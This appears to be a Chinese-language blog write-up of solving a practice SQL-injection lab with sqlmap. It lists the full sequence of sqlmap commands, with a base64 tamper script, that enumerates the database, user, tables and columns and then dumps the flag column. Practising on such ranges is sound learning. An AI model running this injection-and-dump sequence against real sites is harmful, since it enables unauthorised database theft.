sqlmap注入工具----一次简单的注入(实战)

最近在学习网络安全,挖洞避免不了要使用许多工具,使用著名注入工具sqlmap的时候,对于英语不怎么好的我就比较难受了,本来就不会使用,加之又是英语的,简直难受。上网找了好多详细教程,但是命令实在是太多,感觉自己不可能一下就全部学会,于是决定一点一点慢慢来,用实战来慢慢熟悉这个工具的使用-----我相信通过每一次的记录我会慢慢变强!

 

这是墨者学院一个SQL注入漏洞靶场:http://219.153.49.228:49835/show.php?id=MQo=     【目的是寻找flag】

【想练习的可以去墨者学院-->在线靶场-->web安全-->sql注入-->sql注入实战-MySQL】 不启动靶场进不去这个链接

 

进入网站提示的信息如下图所示:

    

从这个网页提示信息我们也可以窥视出一些东西:

  • 它使用的数据库类型是Mysql
  • key的值就存储于变量里面(很可能key值就是我们苦苦寻找的flag,那肯定是存储在数据库里面的)

 

  1. 先对其进行手工注入:你们懂得就是 在URL后面分别添加AND 1=1 和 AND 1=2,看两次返回结果是不是一样,不一样说明存在注入漏洞。不知道为啥我的两次返回界面都是空白的。

  2. 鉴于这种类型的URL存在注入可能性很大,那必然得用sqlmap跑一跑呐,不放过任何机会。

  • 测试注入:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo=

结果如下:

    

sqlmap返回信息显示:参数 id 可能不存在注入,可以尝试增加尝试等级(level),或者增加执行测试的风险(risk)。如果你觉得存在某种保护机制,可以使用tamper篡改注入数据。

  • 根据上面提示信息我们增加level和tamper:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode

    

接下来就是常规拖库操作了:

  • 先查一下数据库名:sqlmap  -u http://219.153.49.228:49835/show.php?id=MQo= --level=3 --tamper=base64encode --current-db 

  【显示数据库名是test】

    

  • 在查一下当前用户:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 --current-user  

  【显示当前用户是admin(权限等级挺高,有戏)】

    

  • 查一下数据库test中有哪些表:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables    

  【结果只有一个表:data】

    

  • 查一下data表中有几列:sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test -T data --columns    

  【结果显示有4列】

    

  • 从上表中我们可以很清楚就看到thekey所在列的值就是我们苦苦追寻的flag,所以最后一步就是查询thekey的值:

  sqlmap -u http://219.153.49.228:45162/show.php?id=MQo= --tamper=base64encode --level=3 -D test --tables -C thekey --dump

    

到此我们成功获取flag。

 

注:这只是我的练习具体过程,不是sqlmap命令详解。

 

 

 

            

 

posted on 2018-08-20 15:51  Doheart  阅读(34131)  评论(3编辑  收藏  举报

导航